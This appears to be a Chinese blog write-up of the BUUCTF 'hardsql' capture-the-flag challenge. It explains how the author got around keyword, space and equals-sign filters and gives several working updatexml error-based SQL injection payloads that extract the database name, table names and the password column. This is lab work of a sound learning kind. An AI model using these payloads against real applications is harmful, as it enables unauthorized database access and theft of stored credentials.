buuctf-hardsql

 看到题目就知道肯定有很多过滤,先写一个脚本测试一下

 

 这里union被过滤掉了,显然不能再使用联合注入,考虑用updatexml报错注入试试,这里过滤了空格和*,那么用/**/代替空格也不行了,不过()没有被过滤,可以用括号来替代空格,先写一个payload试试

1'or(updatexml(1,concat('~',database()),1))#

 

 可以看到数据库的名字已经爆出来了,注意这里过滤了等号,所以我们就要用like来代替等号,接着爆表名

1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('%geek%'))),1))#

 

 这样就得到了库和表名,接着爆破列名

 

 这里得到三列,根据做这个作者其他的这类题可以知道他的flag是放在password里面的,直接开干

1'or(updatexml(1,concat('~',(select(group_concat('~',password))from(geek.H4rDsq1))),1))#

 

这里爆出的flag只有一半,我以为另外的flag放在了其他字段,找了半天没找到,后面发现是updatexml有长度限制,前面得到substr是被过滤了的,那么就用right函数来爆另一半flag

1'or(updatexml(1,concat('~',(select(right(password,25))from(geek.H4rDsq1))),1))#

 

 组合一下flag就出来了

 

posted @ 2020-08-11 10:09  Mr_small  阅读(405)  评论(0编辑  收藏  举报